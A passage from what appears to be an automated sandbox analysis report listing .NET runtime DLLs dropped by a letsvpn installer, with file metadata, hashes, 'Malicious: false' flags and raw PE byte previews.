SHA-512:	1F967B8F8A98A951AE6C9F4E3BE5793735B454A0EEAD09455A62FD9B689516810B920F1B74E166877C9035CDC43A33AEE4E37B0CD95B77EF67C9E853655A5A3B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..h.............. ........... ....................................@.................................u...O.......8............x...+........................................................... ............... ..H............text....f... ...h.................. ..`.rsrc...8............j..............@..@.reloc...............v..............@..B........................H.......P'..\8..........._...%..,.......................................j~....%-.&(F...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rI..p.(....2r...p.(....2r...p.(....2r...p.(....2r...p.(....2r9..p.(....2rm..p.(....2r...p.(....2r...p.(....*2r=..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.740409637923953
Encrypted:	false
SSDEEP:	384:KedtuO/q3p4YN5XYwWCfWCgPpwKANynsAw/98E9VF3AM+o1O6T:KeJSZBXY4I+Aw/KENAMxM8
MD5:	841522B4F5BE2B3B6BA1DAB6AEC8D8F8
SHA1:	FBEE9376666DCC5B8D36ACE81EF843B672C77B81
SHA-256:	2F3A70A68A089A8407E8FBD117E60832833B4D21AD48FEE9CE35A5990ECE1C27
SHA-512:	274131ED9D22F452B69F3FF09E42C1CFCCF2928C9527CE2E45D2E75093A2B8B869A0FCC833B645BF8FA3ED6AB4575D7BF904FAFFFAEA8686F427ADECF29E8006
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............." ..0.............j:... ...@....... ....................................`..................................:..O....@...............&...+...`.......9..T............................................ ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B................L:......H.......\|!..............t6.. ....8......................................:.(......}......{...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*..BSJB............v4.0.30319......l.......#~..@.......#Strings....T.......#US.X.......#GUID...h.......#Blob...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.948155823281706
Encrypted:	false
SSDEEP:	384:WoTI2pWPzWXbpwKANynsAw/98E9VF3AM+oColk:vE3fAw/KENAMxrk
MD5:	07AF657FA36485F8DCF3024E9D9DF120
SHA1:	CBE6E6E4833E52311E4F3A12F76D7B861E2C3783
SHA-256:	83329E17DBE093394B45BE306E375CECFDF13B4444B741DA5C8A223055DF9463
SHA-512:	A715240658E6D0DAA4B388BCC66FB426020F32EBE4291743F35114C5EC684085FE9681D66969562E07F738FB0B5BD11D3F8BDBBD45370DF7D812B3E0785E201A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............^)... ...@....... ....................................@..................................)..O....@..`................+...`.......'............................................... ............... ..H............text...d.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................@)......H.......P ......................T'......................................BSJB............v4.0.30319......l.......#~..,.......#Strings............#US.........#GUID...........#Blob......................3......................................z...........A...\.A...0.....a.....D.................C.................[.....x.....-.........................(.....(.....(...).(...1.(...9.(...A.(...I.(...Q.(...Y.(...a.(...i.(...q.(.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.959924662620125
Encrypted:	false
SSDEEP:	384:ocezoy4W04W3+jpwKANynsAw/98E9VF3AM+oJz43M2z:oBzoy+nAw/KENAMxaf
MD5:	6E479108D89131E47325C613835E7A67
SHA1:	A87ADC0B2889795EBE2EEFC720E2A9D9E358200B
SHA-256:	BD3F4EC450E4A1789DFE5AF83421FCCC9EFEE12DC9D2755D9BB23B0AB0DAE270
SHA-512:	87DFA337AF68DE3364022AC3126CE17EE9CB2DC924792ABB893409F6CC0684248DE3E53A07447E8881C7B83AFD3E5C255BBFBB795EA59281899E34230C0E7B82
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............~)... ...@....... ...............................J....@.................................,)..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`)......H.......P ..$...................t'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID....... ...#Blob......................3..................................................f...o.f...C.S.........W.................V...........%.....n...........@.....)...................M.....M.....M...).M...1.M...9.M...A.M...I.M...Q.M...Y.M...a.M...i.M...q.M.......................#.....+.....3.....;.'...C.B...K.b...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.706723910215356
Encrypted:	false
SSDEEP:	384:vyBGXZp94Yi06W82WblpwKANynsAw/98E9VF3AM+owI0d3Nj95:mmZp9ZwQAw/KENAMxGdt
MD5:	C39270CAA45F880EE80CE8CFDDFB8BE4
SHA1:	9FA647B7DD989BC9CCBC90A4F30E4D191C8E178B
SHA-256:	68D44D298A5D557BCEECFCD3E7BE7915731EA4EA98E773AE81EA22A38E12C0A0
SHA-512:	9E2CC9CF2B10B2984E81777FFDA03B60DBE38FEDD8FA26250C6C6424AA2B4F57D0AD5FA189F73DB4085BB64ABE5660B3384F5A64C84F9745DE425C9DD9312145
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....J..........." ..0.............Z=... ...@....... ..............................A....`..................................=..O....@..X...............+...`.......<..T............................................ ............... ..H............text...`.... ...................... ..`.rsrc...X....@....... ..............@..@.reloc.......`.......(..............@..B................;=......H........!..............d9.. ....;......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*BSJB............v4.0.30319......l...h...#~......0...#Strings............#US.........#GUID...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.855205421046032
Encrypted:	false
SSDEEP:	384:uH/JWKpWu7pwKANynsAw/98E9VF3AM+oW4A4:uH/jMAw/KENAMxV
MD5:	F855E3307E1AAD4F5AF27A054C61E492
SHA1:	B71EA5F344AA79D7AE334233F302CCD1B8B4B980
SHA-256:	DA07E4B8309FA157EBC51F2BBFB36BF39DFB8015ED008D1273DC245BECBD333E
SHA-512:	5280886ECE8EFB644F7592A100199CE99393017D028923CD018EB8CC13B0BD0ACDD1223CB25756DCCD6445ED0960E388FA5912099BBE62CF2C65B30BD837B75A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0............."... ...@....... ..............................p.....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...(.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID....... ...#Blob......................3............................................................o.s...........D.....D.....D.....D...8.D...Q.D.....D.....D...l.....U.D.................m.....m.....m...).m...1.m...9.m...A.m...I.m...Q.m...Y.m...a.m...i.m...q.m.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.777414006114725
Encrypted:	false
SSDEEP:	384:d4YlS5PWAb6jDW3ipwKANynsAw/98E9VF3AM+oHBMpo:dmY+Aw/KENAMxhj
MD5:	8041547FA4F9BE1318BB80AB29901355
SHA1:	A7A349D71A8994E5CF6D764AA99C67E8BF3B8EBF
SHA-256:	4844B9F4A31796B233C9082916234091574000C51C55A59A23E682DB21F83878
SHA-512:	0C94775BC11990D3EAD334A1C44A76C7E242CA46B79A5B4CD61520CCBC993A932AE57EB66E3F10FEE496649C78D19659A8306FB8004740851E8FF77A6ACB037D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H.W..........." ..0..............9... ...@....... ..............................>.....`.................................M9..O....@...............&...+...`......88..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................9......H........!...............5..0....7......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.X509Certificates.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17896
Entropy (8bit):	6.803496403021755
Encrypted:	false
SSDEEP:	384:mTjbocNsWMhWz/pwKANynsAw/98E9VF3AM+oCyX22lFWalsz:mboYypAw/KENAMx1RWr
MD5:	458F2792F855051C6E3D8BC2B0D3F79F
SHA1:	BC3EFC2926ABF19FB80D93AC7610E1A5E881B75C
SHA-256:	B683D0F746885A8977A50C1B43338C9DE83D13346E5ABBF1857BC57F7C08C10D
SHA-512:	0E9F7C8AAEA94F63B43DDFD4344A3F360EA156BE4EFF4FACCF31A28E9C47B87C9A64223F2043B7F12AAF81C3B3504C1D57E44577D722F70941E6F9C6449CB057
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.................. ...@....... ..............................k]....@..................................-..O....@...................+...`.......,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................,......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....x.......#US.\|.......#GUID.......(...#Blob......................3................................'.....).........u.................=......."...:."...W.".....".....".....".....".....".....[.....".................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;./...C.J...K.j...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	51688
Entropy (8bit):	5.827593513547543
Encrypted:	false
SSDEEP:	768:7szrvuWznnuJlMeEM8Hy8d4Vx50lAhDVC+6Aw/KENAMxFLJ:7grvuqcP8RE5tQ+6AwrxX
MD5:	AA951918AFCB1227B16C12759EE52361
SHA1:	F026C0033AE8B708DD75616533F9D0947E5AFCF9
SHA-256:	9B474D8C10496969E0DA6306DE0CFDDD88BC042855BAE5FE229900BCAA923453
SHA-512:	2A9B4C881A67209C04E11A9FA7733E1C00306462F88D1197D0BD42BDB9C47899127D8215539C46AFEA2A544F98721D1FEC453FB0C2CFEFA5B0CD21C963DF4E6B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ..............................D.....`.....................................O.......4................+..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...4...........................@..@.reloc..............................@..B.......................H........&...K...........q.. ............................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	29672
Entropy (8bit):	6.385149831312396
Encrypted:	false
SSDEEP:	768:x47XzsCggQsW7Sl8xjP/QZsAw/KENAMxG:m7XgpRxb/ksAwrxG
MD5:	952FB69041A3ADC1AE00D975693303DB
SHA1:	D4952E7CB2406A43E2830241138322DE0A46373B
SHA-256:	620012CA3AEBF21D548A17EEA00EE9C79BC2EB3E9432D1E563CB9BD51B4CF47F
SHA-512:	39843357ECFB48505A2B68D374A1060523B787FFF8DCA3009CC1B6D6AE3426B84B3BD7064B55F06E015063D7D538D62E2657AE5DB700B13F9DECDCD85CAFC2C9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0............." ..0..>..........r]... ...`....... ....................................`..................................]..O....`...............H...+..........(\..T............................................ ............... ..H............text...x=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B................S]......H........#...2..........0U..x....[.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.765031058960111
Encrypted:	false
SSDEEP:	384:uEwo6eTs14YY4cWpOWsgpwKANynsAw/98E9VF3AM+oKmAgqx3:LwDdTaAw/KENAMxHq
MD5:	5F0B08C73356BEC164D3E8C9BE85AD13
SHA1:	C627AD3F37A4AB7FD05336413FD97F541CDD0132
SHA-256:	464DAA5272DE2A51C97B3C490B20C620B062301723961A3E5EE31AD1E8D9041F
SHA-512:	066219C54B4D73552D5CA467F37EC35B2B20E6418A17593028EEFD015119673384BCA515F17104828654C61450966ED0A0A5CEFD20AF45E63886BB9468A22062
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....r..........." ..0.............V8... ...@....... ....................................`..................................8..O....@...............$...+...`.......6..T............................................ ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................68......H.......\|!..............\4.. ...\|6......................................:.(......}......{...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*..BSJB............v4.0.30319......l.......#~..@.......#Strings....8.......#US.<.......#GUID...L.......#Blob...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.900638971942071
Encrypted:	false
SSDEEP:	384:0SKiWIhW3FpwKANynsAw/98E9VF3AM+oTYIi/23:0SK8PAw/KENAMxEV23
MD5:	D2118FC496BABF725E0C6936C58A1EB6
SHA1:	A5C34F2E22BE6CD77C7C7DD6B07F1A99A98EFF0D
SHA-256:	2A3CB2F788D5A1D417C27634BDF3DBFD126F2115EC2A20C006A98BFC225E0856
SHA-512:	6743A9DCE0DE03C4195E5E257E7707C1A3444808AF7ECA80265A60C1BDCD45CF7644B1CD1FF3E83EE9555B0F9C328F2A9559313251447A344977A8C1812B1023
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ...................................@.................................t(..O....@.. ................+...`......<'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..l....................&......................................BSJB............v4.0.30319......l.......#~......@...#Strings....D.......#US.H.......#GUID...X.......#Blob......................3......................................................\.....0.....'.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.844144052995077
Encrypted:	false
SSDEEP:	384:c0KbZWApWmWTpWrKpwKANynsAw/98E9VF3AM+oLCi4AR:zKRycAw/KENAMxOMR
MD5:	F2CC1DC1F03CC9C92BC89FE4405943E8
SHA1:	5691089B293B0B91C67F353DBB7CDCA83AB16F37
SHA-256:	909185B927ED874D68B8C6A048E28F36C72FE419507FEF313CEEC211AD9B1F8D
SHA-512:	49ABB3FA38755A927DB8404383C8FC90CB2885086BECED9FFFAD1593F976BA601F6D85626203C870DB4048CC5DCAA9D536EE3755348999377D43B042D6C1BEC6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............)... ...@....... ...................................@.................................>)..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................r)......H.......p .......................(........................................(......(......(......(....BSJB............v4.0.30319......l.......#~..........#Strings....`.......#US.h.......#GUID...x...(...#Blob...........G..........3.............................................."...........C...........u...............m.b...........J.....J.....J.....J...6.J...O.J.....J.....J...j.C...S.J.............................P ............X ............` ......4.....h ....................

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.919704417105062
Encrypted:	false
SSDEEP:	384:mLH9W5nOW80pwKANynsAw/98E9VF3AM+oPwjijX:mL4iAw/KENAMxUCX
MD5:	1822C2DC120A282029B8FE16A00CD0EC
SHA1:	65AFE00281B63165D7AE4D86949EE288C1FDF451
SHA-256:	6A8A828A47D26DC8197F27E84865D9DC3F14B692F40B39C320C1EA258CBDA291
SHA-512:	5E0B725079A30B431CFE285BC6053660ABA31D3BF9D15F6C94C00526A567DBE37A4A2A39AA65E89DC9759078C6CCC47EF2D3713A3E02FE3BE163B310868694AB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....y............" ..0..............)... ...@....... ...............................l....`..................................(..O....@..p................+...`.......'..T............................................ ............... ..H............text...$.... ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..D.......#Strings............#US.........#GUID.......$...#Blob......................3................................................*.0.....0...g.....P...........M...........c.......................J.....{.....~.......+...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.8...+.N...3.d...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.825101761819289
Encrypted:	false
SSDEEP:	384:QlbWvX+WXjpwKANynsAw/98E9VF3AM+opp8IUPb84ew:Q2KAw/KENAMxUTz8+
MD5:	400A4CA7A25350BDE4F1AD1B804EC6D4
SHA1:	39B58AE25B83C4EABCC14542CC8B41045DBADDB9
SHA-256:	7A55EC7FAEB07B10419BF1C65A63C894FD61AFF9A35837F20CFD0CBAD1E98909
SHA-512:	731786C25BA7C42D78A21079E80C65DA015AC383FA8D3B4E2F6EA0AD97EEB324271D7F6AC453FBE808B454D7BD02F2751A6AF9D11CAB84B7A0C9135B2515A695
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..............,... ...@....... ..............................._....`.................................L,..O....@..`................+...`......\+..T............................................ ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...8...#~..........#Strings....T.......#US.X.......#GUID...h...$...#Blob......................3................................................}.t.....t.....a........._.......................B.................................................[.....[.....[...).[...1.[...9.[...A.[...I.[...Q.[...Y.[...a.[...i.[...q.[.......................#.....+.....+.6...+.L...3.b...;.}...C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.836078417070679
Encrypted:	false
SSDEEP:	384:r2mtX7WWRvWW5DpwKANynsAw/98E9VF3AM+oAYRKIYyT:r28XdcAw/KENAMxA9IJ
MD5:	8679F7B31D8C81B40EC5434CF91D66FB
SHA1:	EF769C438F6424BA4BED7D9A4C853029B338CF84
SHA-256:	13CE590AD31A1F814507BD0B8D45F9C44DD3ED1A6D5AB51BF909360C42DA94CE
SHA-512:	F9FF58175D238A37BE7BB72634D14532DA7F37ABCF6B31FB9C1AB318DAB854EFC983E9E0B4042280F5341076ACD59B23977AB52DA765D6D510B2E382A98F6FF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>c..........." ..0............."... ...@....... ..............................Lf....`..................................)..O....@..p................+...`.......(..T............................................ ............... ..H............text...(.... ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B.......................H.......P ......................\(......................................BSJB............v4.0.30319......l... ...#~......H...#Strings............#US.........#GUID.......$...#Blob......................3..................................................4...q.4...E.!...T...........+.....X.....'...........p.................Y.....B...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.8...+.N...3.d...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23528
Entropy (8bit):	6.483616086646654
Encrypted:	false
SSDEEP:	384:Y8h2IgODoeNlPSCqWvVEW7VmpwKANynsAw/98E9VF3AM+oV7Ytp:lz1zNlFBbrAw/KENAMxFWp
MD5:	912A0F5B72E056B22E97798879492E5B
SHA1:	96C93DF33E19B5EA94CF6032D07B721940AB7DB2
SHA-256:	FE0895DD79FF155ADD093751000B49D9E0B9D1EFB2F5F40980A304C2E08C1601
SHA-512:	5CF795ACA36A5AFCD8F6CFF9C5C4FBCADA274FD8F4E17FD4A3E065395F8C9E1D47CB52B291B871EFECABDBD5A6C44E760BBD01871B91BDBA65AA02F2C2004C12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........D... ...`....... ....................................`.................................xD..O....`...............0...+..........\|C..T............................................ ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................D......H.......P ..."...................B......................................BSJB............v4.0.30319......l.......#~..,...D...#Strings....p ......#US.t ......#GUID.... ..(...#Blob......................3......................................I...............\...................t.....t...C.t.....t...\.t.....t...6.t.....t.....t.....l.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+. ...+.<...+.R...3.h...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.869840402481901
Encrypted:	false
SSDEEP:	384:ELkW1JgWYhpwKANynsAw/98E9VF3AM+oMAF4:EV9Aw/KENAMxZm
MD5:	9F3E971F7EC231D87D1ABAFD5F14C95C
SHA1:	05DF9D557F1A7067DA70ABFDFF862B57A4FBB960
SHA-256:	EDC5EF41A53F6C46090FA5F29A3FEA184988F0629A1CD656E01B2DD82896FC95
SHA-512:	20933187B8595F23500C6F3CFABCE2833E4A6311DA2DF72EC9E8DD51954D18836E4F10B9BD60BCD3DBE98DF61D710C521E1E6B5034904FCAC849CBDD8062F155
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....1..........." ..0.............V-... ...@....... ..............................W/....`..................................-..O....@...................+...`.......,..T............................................ ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8-......H.......P ..<....................+......................................BSJB............v4.0.30319......l...<...#~......X...#Strings............#US.........#GUID.......(...#Blob......................3................................................:.............................w...........s.......................Z.............%.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.:...+.P...3.f...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19432
Entropy (8bit):	6.775879088015671
Encrypted:	false
SSDEEP:	384:yISW5NW2eWklpwKANynsAw/98E9VF3AM+oZ9/Q:y+5b7Aw/KENAMxY
MD5:	B163FD43E6AF71F24EB6D574FCC1D2FB
SHA1:	863359CD40FCD452DFBC5B0D217210B5576D1645
SHA-256:	308EC9BEAF35014DD2736AD71BB43E1280AA95393B8D37BE2938B6C020965B0A
SHA-512:	8A3EEE8EE2CEB4F3A753F84512A9ACC4D1EADAFE53D4D7386865D86D03107BB9320538EF59C33E3D2C4A4ABD19B98546FF98D2405A46FDB728C8860F0025256D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..............4... ...@....... ....................................`................................./4..O....@............... ...+...`......83..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................c4......H........ ...............0.. ....2......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(....*BSJB............v4.0.30319......l.......#~..........#Strings....\.......#US.`.......#GUID...p.......#Blob...........W..........3........................................................".........................q.......................B...................q...........q...X.q...'.q.....q...K.q...h.q.....q.....q...............%.....y.......{.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21480
Entropy (8bit):	6.75285979389933
Encrypted:	false
SSDEEP:	384:WEO4YkTdk8VKWCWV1upaWpHpwKANynsAw/98E9VF3AM+o5M87rd8o:WEOSQSAw/KENAMx7tL
MD5:	41D41E8800C6F4E6A8CD119E2EDB84AC
SHA1:	7EAFA308A8B2A4B7A2ACA135A5F10CA7F2F9EA61
SHA-256:	ABE5CEBB8D9486D118CA4A3F92A198228682206143674CD684357B1515EF97E3
SHA-512:	6E7B84F6A8EE890B3B91358FA8065F90414947F7532B28849E8957E1B76C56773067623B4392325E7ABE72A7CDD16DBC8F51FF2589B32CF7BECF11AD80839242
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............" ..0.............;... ...@....... ..............................f.....`..................................:..O....@...............(...+...`.......9..T............................................ ............... ..H............text...0.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......&..............@..B.................;......H........!...............7..0...H9......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....BSJB............v4.0.30319......l...4...#~......T...#Strings............#US.........#GUID...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.CodePages.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	763880
Entropy (8bit):	7.476776657561635
Encrypted:	false
SSDEEP:	12288:TILs7xn7kZQ6kliVreJIHHr0tRYbKr2KtG9VKABC6rPqAN:EG9km6k/IwRYbiBeKGCzAN
MD5:	AA0EDECEC98FC03EBFC4CFE2F104C2D8
SHA1:	37DF762A94D4715FAEEBD13080E28C643FA2AC1C
SHA-256:	385DFDB38FD3974D978FF4DEB8615E924BF13B82DBEF5E28007FF06A9100AFCD
